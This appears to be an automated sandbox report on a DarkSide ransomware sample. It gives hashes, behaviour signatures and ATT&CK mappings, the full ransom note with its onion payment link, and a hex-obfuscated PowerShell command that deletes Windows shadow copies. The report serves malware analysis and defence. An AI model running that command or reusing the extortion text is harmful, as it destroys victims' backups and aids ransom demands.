Overview

overview

10

Static

static

243dff06fc...in.exe

windows7_x64

10

243dff06fc...in.exe

windows10_x64

10

Analysis

  • max time kernel
    23s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    16-01-2021 16:12

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General

  • Target

    243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.bin.exe

  • Size

    59KB

  • MD5

    0ed51a595631e9b4d60896ab5573332f

  • SHA1

    7ae73b5e1622049380c9b615ce3b7f636665584b

  • SHA256

    243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60

  • SHA512

    9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

Score
10/10
ransomwarespyware

Malware Config

Extracted

Path

C:\\README.d2dea982.TXT

Ransom Note
----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Modifies Control Panel 1 IoCs
    evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1212
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:816

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Discovery

Lateral Movement

Collection

Data from Local System

1
T1005

Exfiltration

Command and Control

Impact

Defacement

1
T1491

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    d062fb56ebc586a836aa20e4eef00002

    SHA1

    530da314ef303a360e3ce33813b575ecd7ee5237

    SHA256

    beb031ed7ca105fe51883b753c80ceb7654d7260c3886e47023473b6b0d2464a

    SHA512

    4d4572b8a16fcec1cdbb28e14c82b504723da93c3530f278dce7435c6d98474c4599de3c880ac02c51dc252643512ffe3ca0c6e0a9171a8d6d8903c52bcc2375

    Download Submit
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    d74f9cda1b430f046b3ab7fbe467ef85

    SHA1

    16463a4863474a2b3b81a2e33fa31ea28745b59a

    SHA256

    4b9eca11423c701c6e608cfa21d1bf6524f0dbf93409afc298f927d6d007ba1a

    SHA512

    72e235edaca9deb933c248cdd39410a655d862902d5c56fe2035404336c1c7e5f6cdce269e1995c0cceed756de25b68995109b5a48a9a338ff10d3d4947ce635

    Download Submit
  • memory/1212-2-0x0000000000000000-mapping.dmp
    Download
  • memory/1212-3-0x000007FEF4F30000-0x000007FEF591C000-memory.dmp
    Filesize

    9.9MB

    Download
  • memory/1212-4-0x0000000002330000-0x0000000002331000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1212-5-0x000000001ADA0000-0x000000001ADA1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1212-6-0x0000000002490000-0x0000000002491000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1212-7-0x0000000001F20000-0x0000000001F21000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1212-8-0x000000001C1E0000-0x000000001C1E1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1212-9-0x000000001C540000-0x000000001C541000-memory.dmp
    Filesize

    4KB

    Download